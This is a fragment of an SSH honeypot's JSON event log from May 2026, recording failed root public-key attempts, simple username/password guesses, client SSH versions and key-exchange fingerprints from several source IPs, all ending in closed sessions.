{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:26:e0:e5:bd:f2:60:9b:b3:ed:8a:83:3a:80:fb:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCg7V/OYEI74YOD/hZh9BxsB03tQz7WHjTdZSYT/47hUhzhPDJ4J4/e761Y25ycfMH4f8/YCZ75UlNUG7cFelQ2sNRSuLUtpWEiCtR8sNjeRYnVuH3H0cl/0D20PWWD5SDq4DdqSk5zuZu+nT2pv5XmImx9kwo6iIz03jtykVIiz3JTscmtfJOdsISzd3LK5amJI1EXJcC2Za73CND49L0afZKeSsk23ygfqL1hzYUK8xYuqbUVxMDAWc+OaevSd7zO3+inFxC9iljiTTYnkUvlufRbKTQuplH4QJVlAjbgzX7fvNGMuTZlo9p/7vsKoWJ5E+LRnsFmPYYlxHECmQHlCwvTMFmovY7PdZ1VJuQq+cRabJJaS6lnt9gcCnYHTH4SKt7DIgrZ1dtX2VWeBiiK+dWIfOZ7fv086XMvJP0o02CyWrdS7UpzOdjezpNcC5k0G2fdC2T2rJJnGZ3a28nurhG9UckBblKAHqvIxHoQ/ivGI2uNULquWMkOzCgmJ2m5MiJ0N7LU06VCZP7wdL+YNCMY4LxAHM5h7fk6BiF75kdxlwL0uAUfnT2AXXs8ygFnU4UtCXLGBmqVZEW0eztjK1Iicjnym85nq5G+UDgttLTofkerziprGNQDJ/jDskQ9WG7xvd6mGQoJcJSzXginEET73moT21aM6FebCfxgeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.165061Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx5WdBzbcNaV9RJpxNovZqkdkdynhCJ3rfzemrkB7q/Q3YPywJ8zFcae+LSkE+vyhE9xnTHsTWdWKAIXVAxan5lbWLZGf7S1ZNKQplaYhNb9Hw9yYvha4tjXlhmVepddMrngw8bB8iT197UOj/mIX4I5T3uCWAHvz8iGsHEWOj4slA7oyyKHg9Di5OM84WaLw7wRHdX7v34a1DPiSYx6g3/OOWnPpzz5HvskYiAFzaBwraybrrYU1YEcuYf7BRYtonPpsXzABEZhNgAGDMNlb1wxEvQHHxbKrPRJ3xrBrmkUgY4tDSLvYTVFo2IT8n/aytjxuOFueJAfmnZCjKP/7zwr/B8OXTxZBiKX6JpyqvgGmXEkIOR7bTg7CGKgwA9+S/KcMrd/g/RxIyDZxg9KZeo0LZmG2x6DKyRd8Xl+KUkRc5BXQJWlBypiFemP8WIzk6lscomTO4AlrYoqYSB9HU0wUm1Z58WPAXePs3mWND6YuN9fd4OfP3XndtIOX2YAjXcgQfWVs5GL+tuJMmqERuTA2CZIMWYIk0jjyfSPnscvUMjaCj3Hojaxo5GruZf8audAToOoKTMy37h13nIjSYd8yTINrVU/YZrbWehQrqty+TRrVPl26RYOG31TQJX4qtjr7nqX3ReDuV+N388wbSt1+5WSj5GlHQirW4JbyrXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.270870Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx5WdBzbcNaV9RJpxNovZqkdkdynhCJ3rfzemrkB7q/Q3YPywJ8zFcae+LSkE+vyhE9xnTHsTWdWKAIXVAxan5lbWLZGf7S1ZNKQplaYhNb9Hw9yYvha4tjXlhmVepddMrngw8bB8iT197UOj/mIX4I5T3uCWAHvz8iGsHEWOj4slA7oyyKHg9Di5OM84WaLw7wRHdX7v34a1DPiSYx6g3/OOWnPpzz5HvskYiAFzaBwraybrrYU1YEcuYf7BRYtonPpsXzABEZhNgAGDMNlb1wxEvQHHxbKrPRJ3xrBrmkUgY4tDSLvYTVFo2IT8n/aytjxuOFueJAfmnZCjKP/7zwr/B8OXTxZBiKX6JpyqvgGmXEkIOR7bTg7CGKgwA9+S/KcMrd/g/RxIyDZxg9KZeo0LZmG2x6DKyRd8Xl+KUkRc5BXQJWlBypiFemP8WIzk6lscomTO4AlrYoqYSB9HU0wUm1Z58WPAXePs3mWND6YuN9fd4OfP3XndtIOX2YAjXcgQfWVs5GL+tuJMmqERuTA2CZIMWYIk0jjyfSPnscvUMjaCj3Hojaxo5GruZf8audAToOoKTMy37h13nIjSYd8yTINrVU/YZrbWehQrqty+TRrVPl26RYOG31TQJX4qtjr7nqX3ReDuV+N388wbSt1+5WSj5GlHQirW4JbyrXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.274764Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:0a:01:51:ec:87:80:7f:bc:bb:29:4c:4b:f1:fc:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5LbzAYyqqRHRLZe8o0us4tQuwfeJdJRlltswDwm4yKm7o51ZnlU8+3Ai37/W+3E4B+2eG/HvV9x6+blWVK96e5IU3sssHzmfYLroy2+xnnDaTji1te21RLcwddVOqFic7v48RXunFdh4xOW70zE6u11hsgdklEbjvm8IohuaOOq7IG5v4sDeFHE3+rnyc7exJ5WwMZJaiH0r4DCZrg+in2MOacGnlFk4kbaaBk8ylMtKzKGUuMtYezETYOyVSW4+deraIS6WgYk+iT34aBzwx77aoENSJG+iiuzfvJoLKXQxg8vz1m5J1vqzxmKjYEf2LgjRs5x2xOb5ke86tWJr58bvgQnhr1ZF0/pBO2cI+J2HwxxOAKs4awbKwMCey65hkaJK1NS5jN4ZJQSG4yDhdIUwlFjTJFj8qBqQmtfNUOAuZr+lqswIko2WmPYy8KdWQG0Tz5Bks+oZakSrNnyScY9Hghd+IxEHlQYr1ES6GzdY92EkP9t2mDHfkaa0Pi7cW6Z5gJmbW90Hlg/f4fNWOKJvcf+nZwYIlTj7h3PzfbLNfP7sRVheG6pnnylvRhbDTsnnXKWEQ0x2RKvq/BpCUMVTN9aegivgevovsp080o/7ZWoHjB9VvawJhanWB78igp6r26iBbzExeYxcSEyQaekvtv+KJ/avc0oY8WDaQ1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:0a:01:51:ec:87:80:7f:bc:bb:29:4c:4b:f1:fc:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.378446Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:0a:01:51:ec:87:80:7f:bc:bb:29:4c:4b:f1:fc:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5LbzAYyqqRHRLZe8o0us4tQuwfeJdJRlltswDwm4yKm7o51ZnlU8+3Ai37/W+3E4B+2eG/HvV9x6+blWVK96e5IU3sssHzmfYLroy2+xnnDaTji1te21RLcwddVOqFic7v48RXunFdh4xOW70zE6u11hsgdklEbjvm8IohuaOOq7IG5v4sDeFHE3+rnyc7exJ5WwMZJaiH0r4DCZrg+in2MOacGnlFk4kbaaBk8ylMtKzKGUuMtYezETYOyVSW4+deraIS6WgYk+iT34aBzwx77aoENSJG+iiuzfvJoLKXQxg8vz1m5J1vqzxmKjYEf2LgjRs5x2xOb5ke86tWJr58bvgQnhr1ZF0/pBO2cI+J2HwxxOAKs4awbKwMCey65hkaJK1NS5jN4ZJQSG4yDhdIUwlFjTJFj8qBqQmtfNUOAuZr+lqswIko2WmPYy8KdWQG0Tz5Bks+oZakSrNnyScY9Hghd+IxEHlQYr1ES6GzdY92EkP9t2mDHfkaa0Pi7cW6Z5gJmbW90Hlg/f4fNWOKJvcf+nZwYIlTj7h3PzfbLNfP7sRVheG6pnnylvRhbDTsnnXKWEQ0x2RKvq/BpCUMVTN9aegivgevovsp080o/7ZWoHjB9VvawJhanWB78igp6r26iBbzExeYxcSEyQaekvtv+KJ/avc0oY8WDaQ1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.382674Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:0c:e4:c1:7c:0d:63:b9:e0:73:06:14:f6:82:f7:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3eIARKd3hX8c1T+ybz3FBEN3g/r0/kSzU+WmyZ6bLxVF79I7xe/E1K1ZhVdDDhzUWUQpBm1B+aRrZv37aGY0QaKv3U2diD/CUixozu1BAj447rRhIn5cPCy0+dqaQ82vZ3orvWWU30bv6+fozupDdRiodoT07bGkV6njB0O92ySJ1SPhG8vAllnS9aXPaOmq50n8z/RPUum3wXtaO/ms75el7hWRcD7CxoT9koN7uDVDSbpIhUMW9DhOp+A/w1Q0UEnTAK8sP9mLwRI+IAbEYi0DMhh97/ynYZaxplEH0hJtnjIxWiklubQ1ak44a2sUhzvq5yOGNPRDBbp8SANlz/hYwkThJV7isGIIKWKx52/oLptaGD6yD7uyXgzipI1sBmvehnL7ANX4NZu8P/RklSDgE86J/Wv250Ls6WlydyyCp6+Lp5TFIpylLVCD7Xsl+BMJHTM2jxTr0nJ0XTm9xISEBWntOsNwyICwhIrmNlmtaLhVh2gLwBXFx/hPC5R5f95dz7I15Fcvov42RjSxjC3Rsfd5+MiqyM7EtYNeDAgy3zk7Wa2HfteTNfdfCXhlctyS+rfS58GUFuRTVxH+qcFJk0TP6EhHJpjrdY+i1A/ygPLx92oTJ1YLSjfqZskp13WJKWa59tw5bzYkvSMCMLyLEPX45EqxaKgBmzCMhMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:0c:e4:c1:7c:0d:63:b9:e0:73:06:14:f6:82:f7:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.489561Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:0c:e4:c1:7c:0d:63:b9:e0:73:06:14:f6:82:f7:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3eIARKd3hX8c1T+ybz3FBEN3g/r0/kSzU+WmyZ6bLxVF79I7xe/E1K1ZhVdDDhzUWUQpBm1B+aRrZv37aGY0QaKv3U2diD/CUixozu1BAj447rRhIn5cPCy0+dqaQ82vZ3orvWWU30bv6+fozupDdRiodoT07bGkV6njB0O92ySJ1SPhG8vAllnS9aXPaOmq50n8z/RPUum3wXtaO/ms75el7hWRcD7CxoT9koN7uDVDSbpIhUMW9DhOp+A/w1Q0UEnTAK8sP9mLwRI+IAbEYi0DMhh97/ynYZaxplEH0hJtnjIxWiklubQ1ak44a2sUhzvq5yOGNPRDBbp8SANlz/hYwkThJV7isGIIKWKx52/oLptaGD6yD7uyXgzipI1sBmvehnL7ANX4NZu8P/RklSDgE86J/Wv250Ls6WlydyyCp6+Lp5TFIpylLVCD7Xsl+BMJHTM2jxTr0nJ0XTm9xISEBWntOsNwyICwhIrmNlmtaLhVh2gLwBXFx/hPC5R5f95dz7I15Fcvov42RjSxjC3Rsfd5+MiqyM7EtYNeDAgy3zk7Wa2HfteTNfdfCXhlctyS+rfS58GUFuRTVxH+qcFJk0TP6EhHJpjrdY+i1A/ygPLx92oTJ1YLSjfqZskp13WJKWa59tw5bzYkvSMCMLyLEPX45EqxaKgBmzCMhMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.492931Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.597265Z","src_ip":"172.110.219.251","session":"86ab57fa85ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fuser","password":"fuser","message":"login attempt [fuser/fuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:43.721621Z","src_ip":"190.244.39.224","session":"290f55afa3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:10:44.934076Z","src_ip":"190.244.39.224","session":"290f55afa3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":42201,"dst_ip":"159.203.135.109","dst_port":22,"session":"be2bef6e26dd","protocol":"ssh","message":"New connection: 213.209.159.56:42201 (159.203.135.109:22) [session: be2bef6e26dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:12.211046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:12.216109Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:12.298167Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy","message":"login attempt [candy/candy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:12.699007Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy1","message":"login attempt [candy/candy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:13.783734Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy123","message":"login attempt [candy/candy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:14.876831Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy1234","message":"login attempt [candy/candy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:15.962928Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"candy12345","message":"login attempt [candy/candy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:17.048031Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:18.133379Z","src_ip":"213.209.159.56","session":"be2bef6e26dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.47","src_port":52096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0330e6cd7a80","protocol":"ssh","message":"New connection: 78.111.67.47:52096 (10.17.0.5:22) [session: 0330e6cd7a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:21.832706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:21.837655Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:21.928381Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:6e:e8:4f:11:a6:e2:11:4d:93:67:98:aa:de:c8:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbMkh7TKBe17kAZ+RVODcjWBEf8ASEXYf9ZUJXRrHi4SEY4Xq35WvxxcKndrHg6vv+56mCvhzZNfPLThhe5Zv9pQW/5NCxzZTCCqZbI/MEkPX1QlQAwcuym/6Frwh+lnArf/O6DjnzKzzUSvhqbddyvByX3PLDayWPClL3Sf51ZJwaDqKUqtywLu4zOdefiGAQaUoClJ6eO8SpOXkgHEdg6JP+ISMtHwQI54LxeSu76VFIsKqjNrdVMTuxA/MOsJDjpIsy+KtbYVN+6oUkbLORaB9uWzvht7kCkjXXlVmQ7xx1BVflmG/peniG8G4noDaqM3LNiGzk0dGuZrMYWWnaHnqmDyMziMmxAkd6WU0MZCgP9FozL8mjYkkgbEbaH3NvNjQZWKK4wP3yHM1G41gTqzxGAJdsZ6oaeNbjfW0tucTYnTvZvAyfUKLHJrArfQxVevzsd66rzacRfZ8dfWJFMv1NhO8fR5kwZoNSI2pRbguSdvxViUnddMe3lhwD/y0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:6e:e8:4f:11:a6:e2:11:4d:93:67:98:aa:de:c8:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.360602Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:6e:e8:4f:11:a6:e2:11:4d:93:67:98:aa:de:c8:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbMkh7TKBe17kAZ+RVODcjWBEf8ASEXYf9ZUJXRrHi4SEY4Xq35WvxxcKndrHg6vv+56mCvhzZNfPLThhe5Zv9pQW/5NCxzZTCCqZbI/MEkPX1QlQAwcuym/6Frwh+lnArf/O6DjnzKzzUSvhqbddyvByX3PLDayWPClL3Sf51ZJwaDqKUqtywLu4zOdefiGAQaUoClJ6eO8SpOXkgHEdg6JP+ISMtHwQI54LxeSu76VFIsKqjNrdVMTuxA/MOsJDjpIsy+KtbYVN+6oUkbLORaB9uWzvht7kCkjXXlVmQ7xx1BVflmG/peniG8G4noDaqM3LNiGzk0dGuZrMYWWnaHnqmDyMziMmxAkd6WU0MZCgP9FozL8mjYkkgbEbaH3NvNjQZWKK4wP3yHM1G41gTqzxGAJdsZ6oaeNbjfW0tucTYnTvZvAyfUKLHJrArfQxVevzsd66rzacRfZ8dfWJFMv1NhO8fR5kwZoNSI2pRbguSdvxViUnddMe3lhwD/y0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.364808Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:26:e0:e5:bd:f2:60:9b:b3:ed:8a:83:3a:80:fb:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCg7V/OYEI74YOD/hZh9BxsB03tQz7WHjTdZSYT/47hUhzhPDJ4J4/e761Y25ycfMH4f8/YCZ75UlNUG7cFelQ2sNRSuLUtpWEiCtR8sNjeRYnVuH3H0cl/0D20PWWD5SDq4DdqSk5zuZu+nT2pv5XmImx9kwo6iIz03jtykVIiz3JTscmtfJOdsISzd3LK5amJI1EXJcC2Za73CND49L0afZKeSsk23ygfqL1hzYUK8xYuqbUVxMDAWc+OaevSd7zO3+inFxC9iljiTTYnkUvlufRbKTQuplH4QJVlAjbgzX7fvNGMuTZlo9p/7vsKoWJ5E+LRnsFmPYYlxHECmQHlCwvTMFmovY7PdZ1VJuQq+cRabJJaS6lnt9gcCnYHTH4SKt7DIgrZ1dtX2VWeBiiK+dWIfOZ7fv086XMvJP0o02CyWrdS7UpzOdjezpNcC5k0G2fdC2T2rJJnGZ3a28nurhG9UckBblKAHqvIxHoQ/ivGI2uNULquWMkOzCgmJ2m5MiJ0N7LU06VCZP7wdL+YNCMY4LxAHM5h7fk6BiF75kdxlwL0uAUfnT2AXXs8ygFnU4UtCXLGBmqVZEW0eztjK1Iicjnym85nq5G+UDgttLTofkerziprGNQDJ/jDskQ9WG7xvd6mGQoJcJSzXginEET73moT21aM6FebCfxgeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:26:e0:e5:bd:f2:60:9b:b3:ed:8a:83:3a:80:fb:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.458314Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:26:e0:e5:bd:f2:60:9b:b3:ed:8a:83:3a:80:fb:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCg7V/OYEI74YOD/hZh9BxsB03tQz7WHjTdZSYT/47hUhzhPDJ4J4/e761Y25ycfMH4f8/YCZ75UlNUG7cFelQ2sNRSuLUtpWEiCtR8sNjeRYnVuH3H0cl/0D20PWWD5SDq4DdqSk5zuZu+nT2pv5XmImx9kwo6iIz03jtykVIiz3JTscmtfJOdsISzd3LK5amJI1EXJcC2Za73CND49L0afZKeSsk23ygfqL1hzYUK8xYuqbUVxMDAWc+OaevSd7zO3+inFxC9iljiTTYnkUvlufRbKTQuplH4QJVlAjbgzX7fvNGMuTZlo9p/7vsKoWJ5E+LRnsFmPYYlxHECmQHlCwvTMFmovY7PdZ1VJuQq+cRabJJaS6lnt9gcCnYHTH4SKt7DIgrZ1dtX2VWeBiiK+dWIfOZ7fv086XMvJP0o02CyWrdS7UpzOdjezpNcC5k0G2fdC2T2rJJnGZ3a28nurhG9UckBblKAHqvIxHoQ/ivGI2uNULquWMkOzCgmJ2m5MiJ0N7LU06VCZP7wdL+YNCMY4LxAHM5h7fk6BiF75kdxlwL0uAUfnT2AXXs8ygFnU4UtCXLGBmqVZEW0eztjK1Iicjnym85nq5G+UDgttLTofkerziprGNQDJ/jDskQ9WG7xvd6mGQoJcJSzXginEET73moT21aM6FebCfxgeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:11:22.464833Z","src_ip":"78.111.67.47","session":"0330e6cd7a80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","key":"ssh-rsa 